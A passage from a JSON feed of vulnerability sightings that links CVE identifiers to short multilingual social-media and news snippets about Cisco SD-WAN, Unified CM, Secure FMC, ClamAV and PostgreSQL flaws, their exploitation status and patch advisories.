306aPE\u30d5\u30a1\u30a4\u30eb\u306a\u3069\u3001\u7279\u5b9a\u5f62\u5f0f\u306e\u30d5\u30a1\u30a4\u30eb...", "creation_timestamp": "2026-08-01T01:14:40.148299Z"}, {"uuid": "5c17b826-92d5-4dc4-88c7-dca1d392d3ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20217", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mryc5quqic2h", "content": "\u30de\u30eb\u30a6\u30a7\u30a2\u5bfe\u7b56\u30bd\u30d5\u30c8\u300cClamAV\u300d\u306b\u8907\u6570\u8106\u5f31\u6027 - Cisco\u88fd\u54c1\u306b\u3082\u5f71\u97ff\n\n\u30de\u30eb\u30a6\u30a7\u30a2\u5bfe\u7b56\u30bd\u30d5\u30c8\u300cClamAV\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3002\u8106\u5f31\u6027\u3092\u60aa\u7528\u3055\u308c\u308b\u3068\u3001\u30b9\u30ad\u30e3\u30f3\u51e6\u7406\u304c\u4e2d\u65ad\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3068\u3044\u3046\u3002\n\n\u958b\u767a\u30c1\u30fc\u30e0\u306f\u73fe\u5730\u6642\u95932026\u5e747\u67081\u65e5\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u30017\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-20213\u300d\u300cCVE-2026-20214\u300d\u300cCVE-2026-20215\u300d\u300cCVE-2026-20216\u300d\u300cCVE-2026-20217\u300d\u300cCVE-2026-20243\u300d\u300cCVE-2026-20244\u300d\u3092\u660e\u3089\u304b\u306b\u3057\u305f\u3002\n\n\u30d1\u30c3\u30ab\u30fc\u3084\u4e0d\u6b63\u306aPE\u30d5\u30a1\u30a4\u30eb\u306a\u3069\u3001\u7279\u5b9a\u5f62\u5f0f\u306e\u30d5\u30a1\u30a4\u30eb...", "creation_timestamp": "2026-08-01T01:14:40.256570Z"}, {"uuid": "d6162fa1-a764-4309-a584-5963f1cb2ed6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20243", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mryc5quqic2h", "content": "\u30de\u30eb\u30a6\u30a7\u30a2\u5bfe\u7b56\u30bd\u30d5\u30c8\u300cClamAV\u300d\u306b\u8907\u6570\u8106\u5f31\u6027 - Cisco\u88fd\u54c1\u306b\u3082\u5f71\u97ff\n\n\u30de\u30eb\u30a6\u30a7\u30a2\u5bfe\u7b56\u30bd\u30d5\u30c8\u300cClamAV\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3002\u8106\u5f31\u6027\u3092\u60aa\u7528\u3055\u308c\u308b\u3068\u3001\u30b9\u30ad\u30e3\u30f3\u51e6\u7406\u304c\u4e2d\u65ad\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3068\u3044\u3046\u3002\n\n\u958b\u767a\u30c1\u30fc\u30e0\u306f\u73fe\u5730\u6642\u95932026\u5e747\u67081\u65e5\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u30017\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-20213\u300d\u300cCVE-2026-20214\u300d\u300cCVE-2026-20215\u300d\u300cCVE-2026-20216\u300d\u300cCVE-2026-20217\u300d\u300cCVE-2026-20243\u300d\u300cCVE-2026-20244\u300d\u3092\u660e\u3089\u304b\u306b\u3057\u305f\u3002\n\n\u30d1\u30c3\u30ab\u30fc\u3084\u4e0d\u6b63\u306aPE\u30d5\u30a1\u30a4\u30eb\u306a\u3069\u3001\u7279\u5b9a\u5f62\u5f0f\u306e\u30d5\u30a1\u30a4\u30eb...", "creation_timestamp": "2026-08-01T01:14:40.320233Z"}, {"uuid": "7cc4bd51-d559-4baa-994b-6bd89adef4c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20244", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mryc5quqic2h", "content": "\u30de\u30eb\u30a6\u30a7\u30a2\u5bfe\u7b56\u30bd\u30d5\u30c8\u300cClamAV\u300d\u306b\u8907\u6570\u8106\u5f31\u6027 - Cisco\u88fd\u54c1\u306b\u3082\u5f71\u97ff\n\n\u30de\u30eb\u30a6\u30a7\u30a2\u5bfe\u7b56\u30bd\u30d5\u30c8\u300cClamAV\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3002\u8106\u5f31\u6027\u3092\u60aa\u7528\u3055\u308c\u308b\u3068\u3001\u30b9\u30ad\u30e3\u30f3\u51e6\u7406\u304c\u4e2d\u65ad\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3068\u3044\u3046\u3002\n\n\u958b\u767a\u30c1\u30fc\u30e0\u306f\u73fe\u5730\u6642\u95932026\u5e747\u67081\u65e5\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u30017\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-20213\u300d\u300cCVE-2026-20214\u300d\u300cCVE-2026-20215\u300d\u300cCVE-2026-20216\u300d\u300cCVE-2026-20217\u300d\u300cCVE-2026-20243\u300d\u300cCVE-2026-20244\u300d\u3092\u660e\u3089\u304b\u306b\u3057\u305f\u3002\n\n\u30d1\u30c3\u30ab\u30fc\u3084\u4e0d\u6b63\u306aPE\u30d5\u30a1\u30a4\u30eb\u306a\u3069\u3001\u7279\u5b9a\u5f62\u5f0f\u306e\u30d5\u30a1\u30a4\u30eb...", "creation_timestamp": "2026-08-01T01:14:40.376465Z"}, {"uuid": "cc46ffae-2f01-4c4f-8194-3ef3bbca1264", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mrycey666s2h", "content": "Cisco\u3001Unified CM\u306e\u8106\u5f31\u6027\u304c\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u305f\u3053\u3068\u3092\u78ba\u8a8d\n\nCVE-2026-20230 \uff08CVSS\u30b9\u30b3\u30a28.6\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u306f\u3001\u7279\u5b9a\u306eHTTP\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u691c\u8a3c\u304c\u4e0d\u9069\u5207\u3067\u3042\u308b\u3053\u3068\u306b\u8d77\u56e0\u3059\u308b\u3082\u306e\u3067\u3001\u653b\u6483\u8005\u304cSSRF\u653b\u6483\u3092\u4ed5\u639b\u3051\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\n\n\u3053\u306e\u30d0\u30b0\u3092\u60aa\u7528\u3059\u308b\u3053\u3068\u306b\u6210\u529f\u3059\u308b\u3068\u3001\u4efb\u610f\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u57fa\u76e4\u3068\u306a\u308b\u30aa\u30da\u30ec\u30fc\u30c6\u30a3\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u306b\u30c9\u30ed\u30c3\u30d7\u3059\u308b\u3053\u3068\u304c\u53ef\u80fd\u306b\u306a\u308a\u3001\u305d\u308c\u3092\u5229\u7528\u3057\u3066\u30eb\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u6a29\u3092\u53d6\u5f97\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\n\nCisco\u306b\u3088\u308b\u3068\u3001WebDialer\u30b5\u30fc\u30d3\u30b9\u304c\u6709\u52b9\u306b\u306a\u3063\u3066\u3044\u308b\u6a5f\u5668\u306e\u307f\u304c\u8106\u5f31\u306a\u72b6\u614b\u306b\u3042\u308b\u3068\u306e\u3053\u3068\u3067\u3059\u3002\u3053\u306e\u30b5\u30fc\u30d3\u30b9\u306f\u30c7\u30d5\u30a9\u30eb\u30c8...", "creation_timestamp": "2026-08-01T01:18:44.812649Z"}, {"uuid": "c8fde62e-2195-4593-ae73-83e5771664c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2020", "type": "seen", "source": "Telegram/snqalfjRGyeCByylJf6ek_8lwbWnhtUi9PGLk9MnmWsBvV0", "content": "", "creation_timestamp": "2026-08-03T08:00:03.313225Z"}, {"uuid": "0301236c-dda5-4910-a163-f3c2e5afaaaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/diesec.bsky.social/post/3ms5zqo57e72t", "content": "Cisco Secure FMC ships with a hardcoded low-priv account (CVE-2026-20316), already exploited. Same advisory reactivates a CVSS 10.0 root bypass (CVE-2026-20079), sharing an IOC. CISA deadline Aug 1. Patch now.\n\n\ud83c\uddec\ud83c\udde7 zurl.co/7L2hn \n\ud83c\udde9\ud83c\uddea zurl.co/R4jCx \n\n #CyberSecurity", "creation_timestamp": "2026-08-03T08:00:10.233652Z"}, {"uuid": "076857e2-3a9e-4b12-a857-46a8da2a93b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116573854073506943", "content": "I'm almost inclined to gloat after the 4000 (mere change) layoffs because \"look, we're drowning in money. Who needs people?\"\n- CRITICAL: CVE-2026-20182: Cisco Catalyst SD-WAN Controller Authentication Bypass Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW \n- CRITICAL: CVE-2026-20209, CVE-2026-20210 CVE-2026-20224: Cisco Catalyst SD-WAN Manager Vulnerabilities https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-mltvnps2-JxpWm7R @TalosSecurity #infosec #Cisco #vulnerability\n@cR0w", "creation_timestamp": "2026-05-14T16:24:10.158672Z"}, {"uuid": "21e88a76-b6be-4900-a92a-b07e64f463b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20209", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116573854073506943", "content": "I'm almost inclined to gloat after the 4000 (mere change) layoffs because \"look, we're drowning in money. Who needs people?\"\n- CRITICAL: CVE-2026-20182: Cisco Catalyst SD-WAN Controller Authentication Bypass Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW \n- CRITICAL: CVE-2026-20209, CVE-2026-20210 CVE-2026-20224: Cisco Catalyst SD-WAN Manager Vulnerabilities https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-mltvnps2-JxpWm7R @TalosSecurity #infosec #Cisco #vulnerability\n@cR0w", "creation_timestamp": "2026-05-14T16:24:10.305271Z"}, {"uuid": "04b84f0a-858f-421c-bf76-abfd2bc32dc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20210", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116573854073506943", "content": "I'm almost inclined to gloat after the 4000 (mere change) layoffs because \"look, we're drowning in money. Who needs people?\"\n- CRITICAL: CVE-2026-20182: Cisco Catalyst SD-WAN Controller Authentication Bypass Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW \n- CRITICAL: CVE-2026-20209, CVE-2026-20210 CVE-2026-20224: Cisco Catalyst SD-WAN Manager Vulnerabilities https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-mltvnps2-JxpWm7R @TalosSecurity #infosec #Cisco #vulnerability\n@cR0w", "creation_timestamp": "2026-05-14T16:24:10.456007Z"}, {"uuid": "f14c004e-1bd5-4546-a295-963042f0aa32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20224", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116573854073506943", "content": "I'm almost inclined to gloat after the 4000 (mere change) layoffs because \"look, we're drowning in money. Who needs people?\"\n- CRITICAL: CVE-2026-20182: Cisco Catalyst SD-WAN Controller Authentication Bypass Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW \n- CRITICAL: CVE-2026-20209, CVE-2026-20210 CVE-2026-20224: Cisco Catalyst SD-WAN Manager Vulnerabilities https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-mltvnps2-JxpWm7R @TalosSecurity #infosec #Cisco #vulnerability\n@cR0w", "creation_timestamp": "2026-05-14T16:24:10.617081Z"}, {"uuid": "aaaa780f-e44e-4bd2-862b-1fde5b6a7add", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20182", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116573936552609076", "content": "This Cisco vulnerability has been fixed.\nRapid7: CVE-2026-20182: Critical authentication bypass in Cisco Catalyst SD-WAN Controller (FIXED) https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/ @Rapid7Official #infosec #Cisco #vulnerability", "creation_timestamp": "2026-05-14T16:45:09.025640Z"}, {"uuid": "22a27c1d-5f4c-4a8a-9512-892ec5b448a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116574138931749044", "content": "There is a new vulnerability with elevated criticality in Cisco Catalyst SD-WAN Manager (CVE-2026-20182) https://vuldb.com/vuln/363906", "creation_timestamp": "2026-05-14T17:37:22.855572Z"}, {"uuid": "0ba8a5ff-6214-4444-9e18-84b06be72bc6", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-20182", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/fe506d4d-dc99-4b51-94c8-4416d4b28d79", "content": "", "creation_timestamp": "2026-05-14T18:00:01.867057Z"}, {"uuid": "9d876790-8016-453e-b3ff-92ee0ea7a015", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://thehackernews.com/2026/05/cisco-catalyst-sd-wan-controller-auth.html", "content": "Cisco has released updates to address a maximum-severity authentication bypass flaw in Catalyst SD-WAN Controller that it said has been exploited in limited attacks.\nThe vulnerability, tracked as CVE-2026-20182, carries a CVSS score of 10.0.\n\"A vulnerability in the peering authentication in Cisco Catalyst SD-WAN Controller, formerly SD-WAN vSmart, and Cisco Catalyst SD-WAN Manager, formerly", "creation_timestamp": "2026-05-14T15:45:20.000000Z"}, {"uuid": "888a2fa8-6f1f-46a0-8e62-f22ff383c319", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3mltmrobuwa2u", "content": "Cisco is warning that a critical Catalyst SD-WAN Controller authentication bypass flaw, tracked as CVE-2026-20182, was actively exploited in zero-day attacks that allowed attackers to gain administrative privileges on compromised devices.", "creation_timestamp": "2026-05-14T20:10:16.707339Z"}, {"uuid": "afd7f0b3-75ed-4e9a-898a-67bfb22ab89c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/BleepingComputer/24683", "content": "\u200aCisco warns of new critical SD-WAN flaw exploited in zero-day attacks\n\nCisco is warning that a critical Catalyst SD-WAN Controller authentication bypass flaw, tracked as CVE-2026-20182, was actively exploited in zero-day attacks that allowed attackers to gain administrative privileges on compromised devices. [...]\n\nhttps://www.bleepingcomputer.com/news/security/cisco-warns-of-new-critical-sd-wan-flaw-exploited-in-zero-day-attacks/", "creation_timestamp": "2026-05-14T20:12:48.000000Z"}, {"uuid": "1d05d5ae-c044-4083-87dc-891cb1b398ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/cisco-security-advisory-av26-471", "content": "", "creation_timestamp": "2026-05-14T11:33:33.000000Z"}, {"uuid": "4de36970-9a08-40d7-aedc-23fe4d695686", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mltt6hmch52o", "content": "Cisco Catalyst SD-WAN Controller\u306b\u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9\u306e\u8106\u5f31\u6027\uff08CVE-2026-20182\uff09\u304c\u3042\u308a\u3001\u30bc\u30ed\u30c7\u30a4\u653b\u6483\u3067\u60aa\u7528\u3055\u308c\u3001\u653b\u6483\u8005\u306b\u7ba1\u7406\u8005\u6a29\u9650\u3092\u4e0e\u3048\u3066\u3044\u307e\u3059\u3002", "creation_timestamp": "2026-05-14T22:04:49.386964Z"}, {"uuid": "19425120-e01e-4022-b962-7c0d297798b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "https://bsky.app/profile/pgexperts.bsky.social/post/3mltzz27d722m", "content": "CVE-2026-2005 and CVE-2026-2006 are pgcrypto RCEs that have been latent since 2005. Fixes shipped in February; the full technical write-ups landed May 4.\nUnpatched fleets are now genuinely exposed. CVSS 8.8.\n\nwww.postgresql.org/support/secu...\n\n\u2014 pgexperts.com", "creation_timestamp": "2026-05-15T00:07:03.229486Z"}, {"uuid": "8d763baf-9c3f-44ee-95d7-3f4e473ed1f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2006", "type": "seen", "source": "https://bsky.app/profile/pgexperts.bsky.social/post/3mltzz27d722m", "content": "CVE-2026-2005 and CVE-2026-2006 are pgcrypto RCEs that have been latent since 2005. Fixes shipped in February; the full technical write-ups landed May 4.\nUnpatched fleets are now genuinely exposed. CVSS 8.8.\n\nwww.postgresql.org/support/secu...\n\n\u2014 pgexperts.com", "creation_timestamp": "2026-05-15T00:07:03.403411Z"}, {"uuid": "a9f70ee4-81be-4d86-8148-d91b83788e47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mlu25nvl3u26", "content": "CISA\u304c\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30921\u4ef6\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0 \n\nCISA Adds One Known Exploited Vulnerability to Catalog  #CISA (May 14)\n\nCVE-2026-20182  Cisco Catalyst SD-WAN\u30b3\u30f3\u30c8\u30ed\u30fc\u30e9\u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9\u306e\u8106\u5f31\u6027 \n\nwww.cisa.gov/news-events/...", "creation_timestamp": "2026-05-15T00:09:40.974287Z"}, {"uuid": "47792b17-babf-4d4b-8476-f1143bffabd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20182", "type": "seen", "source": "https://mastodon.social/users/hrbrmstr/statuses/116576174662988523", "content": "Why are we even bothering, again, if the \"giants\" of cyber aren't bothering? https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/", "creation_timestamp": "2026-05-15T02:14:26.963403Z"}, {"uuid": "34caaa15-12fa-494b-abea-df9dba6adf89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20182", "type": "seen", "source": "https://bsky.app/profile/hrbrmstr.mastodon.social.ap.brid.gy/post/3mlub4qbh3sl2", "content": "Why are we even bothering, again, if the \"giants\" of cyber aren't bothering? https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/", "creation_timestamp": "2026-05-15T02:14:31.311544Z"}, {"uuid": "7d2ec876-8cd9-4b3e-b44f-418a2b13819b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mlucdqka5r25", "content": "Exploited in the Wild: Maximum CVSS 10 SD-WAN Flaw (CVE-2026-20182) Grants Admin Control", "creation_timestamp": "2026-05-15T02:36:11.632437Z"}, {"uuid": "32b202c6-374b-4dda-ac38-5722fe9f70fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mlud6dsuc27h", "content": "CVE-2026-20182 Cisco Catalyst SD-WAN Controller Authentication Bypass Vulnerability ", "creation_timestamp": "2026-05-15T02:52:02.583824Z"}, {"uuid": "ba326316-2bd0-40b0-bc7c-6f44663091d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "Telegram/b2qm9BO3etQ4FMTHulUYgRYWr-XOWiRPDWFbETQ2LIRWPg", "content": "", "creation_timestamp": "2026-05-14T22:55:38.000000Z"}, {"uuid": "53b35d59-ce1f-4a8a-b4ad-341bd8f3590d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116576627980542537", "content": "A lot of offensive activities were identified targeting Cisco Catalyst SD-WAN Manager (CVE-2026-20182) https://vuldb.com/vuln/363906/cti", "creation_timestamp": "2026-05-15T04:09:39.999191Z"}, {"uuid": "5251a71b-02f5-4f65-94c9-e16ceca47796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/diesec.bsky.social/post/3ms5zqo57e72t", "content": "Cisco Secure FMC ships with a hardcoded low-priv account (CVE-2026-20316), already exploited. Same advisory reactivates a CVSS 10.0 root bypass (CVE-2026-20079), sharing an IOC. CISA deadline Aug 1. Patch now.\n\n\ud83c\uddec\ud83c\udde7 zurl.co/7L2hn \n\ud83c\udde9\ud83c\uddea zurl.co/R4jCx \n\n #CyberSecurity", "creation_timestamp": "2026-08-03T08:00:10.175791Z"}, {"uuid": "04bd7a04-e5d9-443a-8e61-e9347f0841a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mlupa4bdzc7h", "content": "Cisco Catalyst SD-WAN\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u3001\u30bc\u30ed\u30c7\u30a4\u653b\u6483\u3067\u60aa\u7528\u3055\u308c\u308b\uff08CVE-2026-20182\uff09 | Codebook\uff5cSecurity News https://codebook.machinarecord.com/threatreport/silobreaker-cyber-alert/45603/", "creation_timestamp": "2026-05-15T06:27:22.780752Z"}, {"uuid": "a2277845-7728-4620-bb4b-cdcba625eadb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mlupb5lgrv2y", "content": "Cisco Catalyst SD-WAN\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u3001\u30bc\u30ed\u30c7\u30a4\u653b\u6483\u3067\u60aa\u7528\u3055\u308c\u308b\uff08CVE-2026-20182\uff09 | Codebook\uff5cSecurity News https://codebook.machinarecord.com/threatreport/silobreaker-potato-alert/45603/", "creation_timestamp": "2026-05-15T06:27:23.444448Z"}, {"uuid": "7e0d8531-e631-4a69-876b-5e06a0c25f95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://thehackernews.com/2026/05/cisa-adds-cisco-sd-wan-cve-2026-20182.html", "content": "The U.S.Cybersecurity and Infrastructure Security Agency (CISA) on Thursday added a newly disclosed vulnerability impacting Cisco Catalyst SD-WAN Controller to its Known Exploited Vulnerabilities (KEV) catalog, requiring Federal Civilian Executive Branch (FCEB) agencies to remediate the issue by May 17, 2026.\nThe vulnerability is a critical authentication bypass tracked as CVE-2026-20182. It's", "creation_timestamp": "2026-05-15T03:28:03.000000Z"}, {"uuid": "fd206f52-fde1-49ee-aa64-4cc524b54ac0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/cibsecurity/89379", "content": "\ud83d\udd8b\ufe0f CISA Adds Cisco SD-WAN CVE-2026-20182 to KEV After Admin Access Exploits \ud83d\udd8b\ufe0f\n\nThe U.S.Cybersecurity and Infrastructure Security Agency CISA on Thursday added a newly disclosed vulnerability impacting Cisco Catalyst SDWAN Controller to its Known Exploited Vulnerabilities KEV catalog, requiring Federal Civilian Executive Branch FCEB agencies to remediate the issue by May 17, 2026. The vulnerability is a critical authentication bypass tracked as CVE202620182. It's.\n\n\ud83d\udcd6 Read more.\n\n\ud83d\udd17 Via \"The Hacker News\"\n\n----------\n\ud83d\udc41\ufe0f Seen on @cibsecurity", "creation_timestamp": "2026-05-15T05:45:06.000000Z"}, {"uuid": "60557a2c-085f-4a76-bc26-8371643f2681", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/ctinow/250333", "content": "CISA Adds Cisco SD-WAN CVE-2026-20182 to KEV After Admin Access Exploits\nhttps://ift.tt/plyzEkN", "creation_timestamp": "2026-05-15T05:44:31.000000Z"}, {"uuid": "6ed2449c-d673-41c0-aa4c-2097e0d05a05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20182", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mlurc5z5s32a", "content": "\ud83d\udcf0 Cisco Peringatkan Celah Kritis SD-WAN (CVE-2026-20182) yang Dieksploitasi dalam Serangan Zero-Day\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/05/15/cisco-peringatkan-celah-kritis-sd-wan-cve-2026-20182-zero-day/\n\n#cisa #cisco #cve-2026-20182 #cvss10 #keamananJaringan #rapid7 #", "creation_timestamp": 